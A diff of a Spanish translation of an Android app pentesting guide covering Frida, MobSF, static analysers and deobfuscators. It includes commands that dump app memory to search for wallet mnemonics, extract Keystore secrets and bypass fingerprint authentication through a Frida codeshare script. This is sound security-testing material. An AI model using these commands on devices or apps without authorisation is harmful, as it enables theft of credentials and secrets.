También es importante buscar vulnerabilidades web comunes dentro de la aplicación. La información detallada sobre cómo identificarlas y mitigarlas está fuera del alcance de este resumen, pero se trata extensamente en otras partes.
|
||||
También es importante buscar vulnerabilidades web comunes dentro de la aplicación. La información detallada sobre cómo identificarlas y mitigarlas queda fuera del alcance de este resumen, pero está ampliamente cubierta en otros recursos.
|
||||
|
||||
### Frida
|
||||
|
||||
[Frida](https://www.frida.re) es un toolkit de instrumentación dinámica para desarrolladores, ingenieros inversos y investigadores de seguridad.\
|
||||
**Puedes acceder a la aplicación en ejecución y hookear métodos en tiempo de ejecución para cambiar el comportamiento, cambiar valores, extraer valores, ejecutar código diferente...**\
|
||||
Si quieres pentest aplicaciones Android necesitas saber cómo usar Frida.
|
||||
[Frida](https://www.frida.re) es un toolkit de instrumentación dinámica para developers, reverse-engineers y security researchers.\
|
||||
**You can access running application and hook methods on run time to change the behaviour, change values, extract values, run different code...**\
|
||||
Si quieres pentestear aplicaciones Android necesitas saber cómo usar Frida.
|
||||
|
||||
- Learn how to use Frida: [**Frida tutorial**](frida-tutorial/index.html)
|
||||
- Some "GUI" for actions with Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
@ -525,7 +530,7 @@ android-anti-instrumentation-and-ssl-pinning-bypass.md
|
||||
|
||||
### **Volcar memoria - Fridump**
|
||||
|
||||
Comprueba si la aplicación está almacenando información sensible en la memoria que no debería, como contraseñas o mnemónicos.
|
||||
Comprueba si la aplicación está almacenando información sensible en la memoria que no debería guardar, como passwords o mnemonics.
|
||||
|
||||
Usando [**Fridump3**](https://github.com/rootbsd/fridump3) puedes volcar la memoria de la app con:
|
||||
```bash
|
||||
@ -536,35 +541,35 @@ python3 fridump3.py -u <PID>
|
||||
frida-ps -Uai
|
||||
python3 fridump3.py -u "<Name>"
|
||||
```
|
||||
Esto volcará la memoria en la carpeta ./dump, y allí podrías usar grep con algo como:
|
||||
Esto volcará la memoria en la carpeta ./dump, y ahí podrías usar grep con algo como:
|
||||
```bash
|
||||
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
|
||||
```
|
||||
### **Datos sensibles en Keystore**
|
||||
|
||||
En Android, el Keystore es el mejor lugar para almacenar datos sensibles; sin embargo, con suficientes privilegios todavía es **posible acceder a él**. Como las aplicaciones tienden a almacenar aquí **datos sensibles en texto claro**, los pentests deberían comprobarlo como root o alguien con acceso físico al dispositivo podría robar esos datos.
|
||||
En Android, el Keystore es el mejor lugar para almacenar datos sensibles; sin embargo, con suficientes privilegios todavía es **posible acceder a él**. Como las aplicaciones tienden a almacenar aquí **sensitive data in clear text**, los pentests deberían comprobarlo, ya que un root user o alguien con acceso físico al dispositivo podría robar estos datos.
|
||||
|
||||
Incluso si una app almacenó datos en el keystore, los datos deberían estar cifrados.
|
||||
Incluso si una app almacena datos en el Keystore, los datos deben estar cifrados.
|
||||
|
||||
Para acceder a los datos dentro del keystore puedes usar este Frida script: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
|
||||
Para acceder a los datos dentro del Keystore puedes usar este Frida script: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
|
||||
```bash
|
||||
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
|
||||
```
|
||||
### **Fingerprint/Biometrics Bypass**
|
||||
|
||||
Usando el siguiente script de Frida podría ser posible **bypass la autenticación por huella dactilar** que las aplicaciones Android podrían estar realizando para **proteger ciertas áreas sensibles:**
|
||||
Usando el siguiente script de Frida, podría ser posible **bypass fingerprint authentication** que las aplicaciones Android podrían realizar para **proteger ciertas áreas sensibles:**
|
||||
```bash
|
||||
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
|
||||
```
|
||||
### **Imágenes de fondo**
|
||||
|
||||
Cuando pones una aplicación en segundo plano, Android almacena una **instantánea de la aplicación** para que, cuando se recupere al primer plano, empiece a cargar la imagen antes que la app y parezca que la aplicación se cargó más rápido.
|
||||
Cuando colocas una aplicación en segundo plano, Android guarda una **instantánea de la aplicación** para que, cuando se recupere al primer plano, empiece cargando la imagen antes que la app y así parezca que la aplicación se cargó más rápido.
|
||||
|
||||
Sin embargo, si esta instantánea contiene **información sensible**, alguien con acceso a la instantánea podría **robar esa información** (ten en cuenta que necesitas root para acceder a ella).
|
||||
Sin embargo, si esta instantánea contiene **información sensible**, alguien con acceso a la instantánea podría **robar esa información** (nota: necesitas root para acceder a ella).
|
||||
|
||||
Las instantáneas suelen almacenarse en: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Android proporciona una forma de **evitar la captura de pantallas estableciendo el parámetro de layout FLAG_SECURE**. Al usar este flag, el contenido de la ventana se trata como seguro, impidiendo que aparezca en capturas de pantalla o que se muestre en pantallas no seguras.
|
||||
Android proporciona una forma de **evitar la captura de pantalla estableciendo el parámetro de layout FLAG_SECURE**. Al usar esta bandera, el contenido de la ventana se trata como seguro, evitando que aparezca en capturas de pantalla o que pueda verse en pantallas no seguras.
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
@ -576,28 +581,28 @@ Esta herramienta puede ayudarte a gestionar diferentes herramientas durante el a
|
||||
|
||||
Los desarrolladores a menudo crean componentes proxy como activities, services y broadcast receivers que manejan estos Intents y los pasan a métodos como `startActivity(...)` o `sendBroadcast(...)`, lo cual puede ser riesgoso.
|
||||
|
||||
El peligro radica en permitir que atacantes activen componentes de la app no exportados o accedan a proveedores de contenido sensibles redirigiendo estos Intents. Un ejemplo notable es el componente `WebView` que convierte URLs en objetos `Intent` mediante `Intent.parseUri(...)` y luego los ejecuta, lo que puede derivar en inyecciones maliciosas de Intent.
|
||||
El peligro radica en permitir que atacantes activen componentes de la app no exportados o accedan a content providers sensibles al redirigir estos Intents. Un ejemplo notable es el componente `WebView` que convierte URLs en objetos `Intent` vía `Intent.parseUri(...)` y luego los ejecuta, lo que puede conducir a inyecciones de Intent maliciosos.
|
||||
|
||||
### Essential Takeaways
|
||||
|
||||
- **Intent Injection** es similar al problema Open Redirect en la web.
|
||||
- Los exploits implican pasar objetos `Intent` como extras, los cuales pueden ser redirigidos para ejecutar operaciones inseguras.
|
||||
- Puede exponer componentes no exportados y content providers a atacantes.
|
||||
- La conversión de URLs a `Intent` por parte de `WebView` puede facilitar acciones no deseadas.
|
||||
- **Intent Injection** es similar al Open Redirect de la web.
|
||||
- Los exploits implican pasar objetos `Intent` como extras, que pueden ser redirigidos para ejecutar operaciones inseguras.
|
||||
- Puede exponer a atacantes componentes no exportados y content providers.
|
||||
- La conversión de URL a `Intent` de `WebView` puede facilitar acciones no deseadas.
|
||||
|
||||
### Android Client Side Injections and others
|
||||
|
||||
Probablemente conoces este tipo de vulnerabilidades por la web. Debes tener especial cuidado con estas vulnerabilidades en una aplicación Android:
|
||||
Probablemente conozcas este tipo de vulnerabilidades por la Web. Debes tener especial cuidado con estas vulnerabilidades en una aplicación Android:
|
||||
|
||||
- **SQL Injection:** Al tratar con consultas dinámicas o Content-Providers, asegúrate de usar consultas parametrizadas.
|
||||
- **SQL Injection:** Al trabajar con consultas dinámicas o Content-Providers, asegúrate de usar consultas parametrizadas.
|
||||
- **JavaScript Injection (XSS):** Verifica que el soporte de JavaScript y Plugin esté deshabilitado para cualquier WebView (deshabilitado por defecto). [More info here](webview-attacks.md#javascript-enabled).
|
||||
- **Local File Inclusion:** Las WebViews deberían tener el acceso al sistema de archivos deshabilitado (activado por defecto) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
|
||||
- **Eternal cookies**: En varios casos, cuando la aplicación Android termina la sesión, la cookie no se revoca o incluso puede guardarse en disco
|
||||
- **Local File Inclusion:** Los WebViews deberían tener deshabilitado el acceso al sistema de archivos (habilitado por defecto) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
|
||||
- **Eternal cookies**: En varios casos, cuando la aplicación Android finaliza la sesión, la cookie no se revoca o incluso puede guardarse en disco
|
||||
- [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||
|
||||
---
|
||||
|
||||
## Análisis automático
|
||||
## Automatic Analysis
|
||||
|
||||
### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF)
|
||||
|
||||
@ -605,22 +610,22 @@ Probablemente conoces este tipo de vulnerabilidades por la web. Debes tener espe
|
||||
|
||||
.png>)
|
||||
|
||||
**Evaluación de vulnerabilidades de la aplicación** usando una interfaz web agradable. También puedes realizar análisis dinámico (pero necesitas preparar el entorno).
|
||||
**Evaluación de vulnerabilidades de la aplicación** usando una agradable interfaz web. También puedes realizar análisis dinámico (pero necesitas preparar el entorno).
|
||||
```bash
|
||||
docker pull opensecurity/mobile-security-framework-mobsf
|
||||
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
```
|
||||
Ten en cuenta que MobSF puede analizar **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\
|
||||
Además, si creas un archivo **ZIP** con el código fuente de una app **Android** o **IOS** (ve a la carpeta raíz de la aplicación, selecciona todo y crea un ZIPfile), también podrá analizarlo.
|
||||
Notice that MobSF can analyse **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\
|
||||
Also, if you create a **ZIP** file with the source code if an **Android** or an **IOS** app (go to the root folder of the application, select everything and create a ZIPfile), it will be able to analyse it also.
|
||||
|
||||
MobSF también permite **diff/Compare** análisis e integrar **VirusTotal** (necesitarás poner tu API key en _MobSF/settings.py_ y habilitarlo: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). También puedes poner `VT_UPLOAD` a `False`, entonces el **hash** será **upload** en lugar del fichero.
|
||||
MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal** (you will need to set your API key in _MobSF/settings.py_ and enable it: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). You can also set `VT_UPLOAD` to `False`, then the **hash** will be **upload** instead of the file.
|
||||
|
||||
### Assisted Dynamic analysis with MobSF
|
||||
|
||||
**MobSF** también puede ser muy útil para **dynamic analysis** en **Android**, pero en ese caso necesitarás instalar MobSF y **genymotion** en tu host (una VM o Docker no funcionarán). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\
|
||||
El **MobSF dynamic analyser** puede:
|
||||
**MobSF** can also be very helpful for **dynamic analysis** in **Android**, but in that case you will need to install MobSF and **genymotion** in your host (a VM or Docker won't work). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\
|
||||
The **MobSF dynamic analyser** can:
|
||||
|
||||
- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). Todo esto se hace automáticamente excepto las capturas de pantalla; necesitas pulsar cuando quieras una captura o debes pulsar "**Exported Activity Tester**" para obtener capturas de todas las actividades exportadas.
|
||||
- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). All of this is done automatically except for the screenshots, you need to press when you want a screenshot or you need to press "**Exported Activity Tester**" to obtain screenshots of all the exported activities.
|
||||
- Capture **HTTPS traffic**
|
||||
- Use **Frida** to obtain **runtime** **information**
|
||||
|
||||
@ -628,28 +633,28 @@ From android **versions > 5**, it will **automatically start Frida** and will se
|
||||
|
||||
**Frida**
|
||||
|
||||
Por defecto, también usará algunos Frida Scripts para **bypass SSL pinning**, **root detection** y **debugger detection** y para **monitor interesting APIs**.\
|
||||
MobSF también puede **invoke exported activities**, capturar **screenshots** de ellas y **save**las para el informe.
|
||||
By default, it will also use some Frida Scripts to **bypass SSL pinning**, **root detection** and **debugger detection** and to **monitor interesting APIs**.\
|
||||
MobSF can also **invoke exported activities**, grab **screenshots** of them and **save** them for the report.
|
||||
|
||||
Para **start** las pruebas dinámicas pulsa el botón verde: "**Start Instrumentation**". Pulsa "**Frida Live Logs**" para ver los logs generados por los Frida scripts y "**Live API Monitor**" para ver todas las invocaciones a métodos hookeados, argumentos pasados y valores devueltos (esto aparecerá después de pulsar "Start Instrumentation").\
|
||||
MobSF también te permite cargar tus propios **Frida scripts** (para enviar los resultados de tus Friday scripts a MobSF usa la función `send()`). También tiene **several pre-written scripts** que puedes cargar (puedes añadir más en `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), solo **select them**, pulsa "**Load**" y pulsa "**Start Instrumentation**" (podrás ver los logs de esos scripts dentro de "**Frida Live Logs**").
|
||||
To **start** the dynamic testing press the green bottom: "**Start Instrumentation**". Press the "**Frida Live Logs**" to see the logs generated by the Frida scripts and "**Live API Monitor**" to see all the invocation to hooked methods, arguments passed and returned values (this will appear after pressing "Start Instrumentation").\
|
||||
MobSF also allows you to load your own **Frida scripts** (to send the results of your Friday scripts to MobSF use the function `send()`). It also has **several pre-written scripts** you can load (you can add more in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), just **select them**, press "**Load**" and press "**Start Instrumentation**" (you will be able to see the logs of that scripts inside "**Frida Live Logs**").
|
||||
|
||||
.png>)
|
||||
|
||||
Además, tienes algunas funcionalidades auxiliares de Frida:
|
||||
Moreover, you have some Auxiliary Frida functionalities:
|
||||
|
||||
- **Enumerate Loaded Classes**: imprimirá todas las clases cargadas
|
||||
- **Capture Strings**: imprimirá todas las cadenas capturadas mientras usas la aplicación (muy ruidoso)
|
||||
- **Capture String Comparisons**: puede ser muy útil. **Show the 2 strings being compared** y si el resultado fue True o False.
|
||||
- **Enumerate Class Methods**: introduce el nombre de la clase (como "java.io.File") y mostrará todos los métodos de la clase.
|
||||
- **Search Class Pattern**: buscar clases por patrón
|
||||
- **Trace Class Methods**: **Trace** a **whole class** (ver entradas y salidas de todos los métodos de la clase). Recuerda que por defecto MobSF traza varios métodos interesantes de la Android Api.
|
||||
- **Enumerate Loaded Classes**: It will print all the loaded classes
|
||||
- **Capture Strings**: It will print all the capture strings while using the application (super noisy)
|
||||
- **Capture String Comparisons**: Could be very useful. It will **show the 2 strings being compared** and if the result was True or False.
|
||||
- **Enumerate Class Methods**: Put the class name (like "java.io.File") and it will print all the methods of the class.
|
||||
- **Search Class Pattern**: Search classes by pattern
|
||||
- **Trace Class Methods**: **Trace** a **whole class** (see inputs and outputs of all methods of th class). Remember that by default MobSF traces several interesting Android Api methods.
|
||||
|
||||
Una vez que hayas seleccionado el módulo auxiliar que quieres usar necesitas pulsar "**Start Intrumentation**" y verás todas las salidas en "**Frida Live Logs**".
|
||||
Once you have selected the auxiliary module you want to use you need to press "**Start Intrumentation**" and you will see all the outputs in "**Frida Live Logs**".
|
||||
|
||||
**Shell**
|
||||
|
||||
MobSF también te ofrece un shell con algunos comandos **adb**, **MobSF commands**, y comandos comunes de **shell** en la parte inferior de la página de análisis dinámico. Algunos comandos interesantes:
|
||||
Mobsf also brings you a shell with some **adb** commands, **MobSF commands**, and common **shell** **commands** at the bottom of the dynamic analysis page. Some interesting commands:
|
||||
```bash
|
||||
help
|
||||
shell ls
|
||||
@ -658,15 +663,15 @@ exported_activities
|
||||
services
|
||||
receivers
|
||||
```
|
||||
**HTTP tools**
|
||||
**Herramientas HTTP**
|
||||
|
||||
Cuando se captura tráfico http puedes ver una vista poco agradable del tráfico capturado en el botón "**HTTP(S) Traffic**" o una vista más clara en el botón verde "**Start HTTPTools**". Desde la segunda opción, puedes **send** las **captured requests** a **proxies** como Burp o Owasp ZAP.\
|
||||
Para hacerlo, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> pulsa "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
Cuando se captura tráfico HTTP puedes ver una vista fea del tráfico capturado en el botón "**HTTP(S) Traffic**" o una vista más agradable en el botón verde "**Start HTTPTools**". Desde la segunda opción, puedes **send** las **captured requests** a **proxies** como Burp o Owasp ZAP.\
|
||||
Para ello, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> pulsa "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
|
||||
Una vez que termines el análisis dinámico con MobSF puedes pulsar "**Start Web API Fuzzer**" para **fuzz http requests** y buscar vulnerabilidades.
|
||||
Una vez termines el dynamic analysis con MobSF puedes pulsar en "**Start Web API Fuzzer**" para **fuzz http requests** y buscar vulnerabilidades.
|
||||
|
||||
> [!TIP]
|
||||
> After performing a dynamic analysis with MobSF the proxy settings me be misconfigured and you won't be able to fix them from the GUI. You can fix the proxy settings by doing:
|
||||
> Después de realizar un dynamic analysis con MobSF los ajustes de proxy pueden quedar mal configurados y no podrás corregirlos desde la GUI. Puedes arreglar los ajustes de proxy ejecutando:
|
||||
>
|
||||
> ```
|
||||
> adb shell settings put global http_proxy :0
|
||||
@ -674,18 +679,18 @@ Una vez que termines el análisis dinámico con MobSF puedes pulsar "**Start Web
|
||||
|
||||
### Assisted Dynamic Analysis with Inspeckage
|
||||
|
||||
You can get the tool from [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
|
||||
Esta herramienta utilizará algunos **Hooks** para informarte **de lo que está sucediendo en la aplicación** mientras realizas un **dynamic analysis**.
|
||||
Puedes obtener la herramienta desde [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
|
||||
Esta herramienta usará algunos **Hooks** para informarte **qué está pasando en la aplicación** mientras realizas un **dynamic analysis**.
|
||||
|
||||
### [Yaazhini](https://www.vegabird.com/yaazhini/)
|
||||
|
||||
Esta es una **excelente herramienta para realizar static analysis con una GUI**
|
||||
Esta es una **gran herramienta para realizar static analysis con una GUI**
|
||||
|
||||
.png>)
|
||||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
Esta herramienta está diseñada para buscar varias **security related Android application vulnerabilities**, ya sea en **source code** o en **packaged APKs**. La herramienta también es **capable of creating a "Proof-of-Concept" deployable APK** y **ADB commands**, para explotar algunas de las vulnerabilidades encontradas (Exposed activities, intents, tapjacking...). Como con Drozer, no es necesario rootear el dispositivo de prueba.
|
||||
Esta herramienta está diseñada para buscar varias **vulnerabilidades de aplicaciones Android relacionadas con la seguridad**, ya sea en **source code** o en **packaged APKs**. La herramienta también es **capable of creating a "Proof-of-Concept" deployable APK** y **ADB commands**, para explotar algunas de las vulnerabilidades encontradas (Exposed activities, intents, tapjacking...). Como con Drozer, no es necesario rootear el dispositivo de prueba.
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
@ -694,8 +699,8 @@ qark --java path/to/specific/java/file.java
|
||||
```
|
||||
### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
|
||||
|
||||
- Muestra todos los archivos extraídos para referencia rápida
|
||||
- Decompila automáticamente archivos APK a formato Java y Smali
|
||||
- Muestra todos los archivos extraídos para fácil consulta
|
||||
- Descompila automáticamente archivos APK a Java y Smali
|
||||
- Analiza AndroidManifest.xml en busca de vulnerabilidades y comportamientos comunes
|
||||
- Análisis estático del código fuente en busca de vulnerabilidades y comportamientos comunes
|
||||
- Información del dispositivo
|
||||
@ -705,9 +710,9 @@ reverse-apk relative/path/to/APP.apk
|
||||
```
|
||||
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
|
||||
|
||||
SUPER es una aplicación de línea de comandos que puede usarse en Windows, MacOS X y Linux, que analiza archivos _.apk_ en busca de vulnerabilidades. Hace esto descomprimiendo APKs y aplicando una serie de reglas para detectar esas vulnerabilidades.
|
||||
SUPER es una aplicación de línea de comandos que puede usarse en Windows, MacOS X y Linux, que analiza archivos _.apk_ en busca de vulnerabilidades. Hace esto descomprimiendo los APKs y aplicando una serie de reglas para detectar esas vulnerabilidades.
|
||||
|
||||
Todas las reglas están centradas en un archivo `rules.json`, y cada empresa o tester puede crear sus propias reglas para analizar lo que necesiten.
|
||||
Todas las reglas están centralizadas en un archivo `rules.json`, y cada empresa o tester puede crear sus propias reglas para analizar lo que necesiten.
|
||||
|
||||
Descarga los binarios más recientes desde la [download page](https://superanalyzer.rocks/download.html)
|
||||
```
|
||||
@ -717,9 +722,9 @@ super-analyzer {apk_file}
|
||||
|
||||
.png>)
|
||||
|
||||
StaCoAn es una herramienta **crossplatform** que ayuda a desarrolladores, bugbounty hunters y ethical hackers a realizar [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) en aplicaciones móviles.
|
||||
StaCoAn es una herramienta **multiplataforma** que ayuda a desarrolladores, bugbounty hunters y ethical hackers a realizar [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) en aplicaciones móviles.
|
||||
|
||||
El concepto es que arrastras y sueltas tu archivo de aplicación móvil (un archivo .apk o .ipa) en la aplicación StaCoAn y generará un informe visual y portátil para ti. Puedes ajustar la configuración y las wordlists para obtener una experiencia personalizada.
|
||||
El concepto es que arrastras y sueltas tu archivo de aplicación móvil (un archivo .apk o .ipa) en la aplicación StaCoAn y ésta generará un informe visual y portátil para ti. Puedes ajustar los settings y wordlists para obtener una experiencia personalizada.
|
||||
|
||||
Descargar[ latest release](https://github.com/vincentcox/StaCoAn/releases):
|
||||
```
|
||||
@ -727,7 +732,7 @@ Descargar[ latest release](https://github.com/vincentcox/StaCoAn/releases):
|
||||
```
|
||||
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
|
||||
|
||||
AndroBugs Framework es un sistema de análisis de vulnerabilidades de Android que ayuda a desarrolladores o hackers a encontrar posibles vulnerabilidades de seguridad en aplicaciones Android.\
|
||||
AndroBugs Framework es un sistema de análisis de vulnerabilidades para Android que ayuda a desarrolladores o hackers a encontrar posibles vulnerabilidades de seguridad en aplicaciones Android.\
|
||||
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
|
||||
```
|
||||
python androbugs.py -f [APK file]
|
||||
@ -735,11 +740,11 @@ androbugs.exe -f [APK file]
|
||||
```
|
||||
### [Androwarn](https://github.com/maaaaz/androwarn)
|
||||
|
||||
**Androwarn** es una herramienta cuyo objetivo principal es detectar y advertir al usuario sobre comportamientos potencialmente maliciosos desarrollados por una aplicación Android.
|
||||
**Androwarn** es una herramienta cuyo objetivo principal es detectar y advertir al usuario sobre posibles comportamientos maliciosos desarrollados por una aplicación Android.
|
||||
|
||||
La detección se realiza mediante el **static analysis** del Dalvik bytecode de la aplicación, representado como **Smali**, con la librería [`androguard`](https://github.com/androguard/androguard).
|
||||
La detección se realiza mediante el **static analysis** del Dalvik bytecode de la aplicación, representado como **Smali**, usando la librería [`androguard`](https://github.com/androguard/androguard).
|
||||
|
||||
Esta herramienta busca **common behavior of "bad" applications** como: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
|
||||
Esta herramienta busca **comportamiento común de aplicaciones "malas"** como: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
|
||||
```
|
||||
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
```
|
||||
@ -747,7 +752,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
.png>)
|
||||
|
||||
**MARA** es un framework de Ingeniería Inversa y Análisis de Aplicaciones Móviles. Es una herramienta que agrupa herramientas comúnmente usadas para ingeniería inversa y análisis de aplicaciones móviles, para ayudar a probar aplicaciones móviles frente a las amenazas de seguridad móvil de OWASP. Su objetivo es facilitar esta tarea a desarrolladores de aplicaciones móviles y profesionales de seguridad.
|
||||
**MARA** es un Framework de ingeniería inversa y análisis de aplicaciones móviles. Es una herramienta que agrupa herramientas comúnmente usadas para reverse engineering y análisis de aplicaciones móviles, para ayudar en las pruebas de aplicaciones móviles frente a las amenazas de seguridad móvil de OWASP. Su objetivo es hacer esta tarea más fácil y amigable para desarrolladores de aplicaciones móviles y profesionales de seguridad.
|
||||
|
||||
Es capaz de:
|
||||
|
||||
@ -755,12 +760,12 @@ Es capaz de:
|
||||
- Analizar APKs usando: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
|
||||
- Extraer información privada del APK usando regexps.
|
||||
- Analizar el Manifest.
|
||||
- Analizar los dominios encontrados usando: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb)
|
||||
- Analizar dominios encontrados usando: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) y [whatweb](https://github.com/urbanadventurer/WhatWeb)
|
||||
- Desofuscar APK vía [apk-deguard.com](http://www.apk-deguard.com)
|
||||
|
||||
### Koodous
|
||||
|
||||
Útil para detectar malware: [https://koodous.com/](https://koodous.com)
|
||||
Útil para detectar malware: [https://koodous.com/](https://koodous.com/)
|
||||
|
||||
## Obfuscating/Deobfuscating code
|
||||
|
||||
@ -778,15 +783,15 @@ Find a step-by-step guide to deobfuscate the apk in [https://blog.lexfo.fr/dexgu
|
||||
|
||||
(From that guide) Last time we checked, the Dexguard mode of operation was:
|
||||
|
||||
- load a resource as an InputStream;
|
||||
- feed the result to a class inheriting from FilterInputStream to decrypt it;
|
||||
- do some useless obfuscation to waste a few minutes of time from a reverser;
|
||||
- feed the decrypted result to a ZipInputStream to get a DEX file;
|
||||
- finally load the resulting DEX as a Resource using the `loadDex` method.
|
||||
- cargar un recurso como un InputStream;
|
||||
- pasar el resultado a una clase que hereda de FilterInputStream para descifrarlo;
|
||||
- hacer alguna ofuscación inútil para hacer perder unos minutos al reverser;
|
||||
- pasar el resultado descifrado a un ZipInputStream para obtener un archivo DEX;
|
||||
- finalmente cargar el DEX resultante como un Resource usando el método `loadDex`.
|
||||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
|
||||
**DeGuard revierte el proceso de ofuscación realizado por herramientas de ofuscación de Android. Esto habilita numerosos análisis de seguridad, incluyendo inspección de código e identificación de bibliotecas.**
|
||||
**DeGuard reverses the process of obfuscation performed by Android obfuscation tools. This enables numerous security analyses, including code inspection and predicting libraries.**
|
||||
|
||||
Puedes subir un APK ofuscado a su plataforma.
|
||||
|
||||
@ -800,34 +805,30 @@ It is a **generic android deobfuscator.** Simplify **virtually executes an app**
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
APKiD gives you information about **how an APK was made**. It identifies many **compilers**, **packers**, **obfuscators**, and other weird stuff. It's [_PEiD_](https://www.aldeid.com/wiki/PEiD) for Android.
|
||||
APKiD te da información sobre **cómo se hizo un APK**. Identifica muchos **compilers**, **packers**, **obfuscators**, y otras cosas raras. Es [_PEiD_] para Android.
|
||||
|
||||
### Manual
|
||||
|
||||
[Read this tutorial to learn some tricks on **how to reverse custom obfuscation**](manual-deobfuscation.md)
|
||||
|
||||
## Laboratorios
|
||||
## Labs
|
||||
|
||||
### [Androl4b](https://github.com/sh4hin/Androl4b)
|
||||
|
||||
AndroL4b es una máquina virtual de seguridad Android basada en ubuntu-mate que incluye la colección de los últimos frameworks, tutoriales y laboratorios de diferentes aficionados e investigadores de seguridad para ingeniería inversa y análisis de malware.
|
||||
AndroL4b es una máquina virtual de seguridad para Android basada en ubuntu-mate que incluye la colección de los últimos frameworks, tutoriales y laboratorios de diferentes expertos e investigadores de seguridad para ingeniería inversa y análisis de malware.
|
||||
|
||||
## Referencias
|
||||
## References
|
||||
|
||||
- [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
|
||||
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) Es una gran lista de recursos
|
||||
- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course
|
||||
- [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
|
||||
- [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
|
||||
- [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)
|
||||
- [https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)
|
||||
- [SSLPinDetect: Advanced SSL Pinning Detection for Android Security Analysis](https://petruknisme.medium.com/sslpindetect-advanced-ssl-pinning-detection-for-android-security-analysis-1390e9eca097)
|
||||
- [SSLPinDetect GitHub](https://github.com/aancw/SSLPinDetect)
|
||||
- [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns)
|
||||
- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
|
||||
|
||||
## Aún por probar
|
||||
|
||||
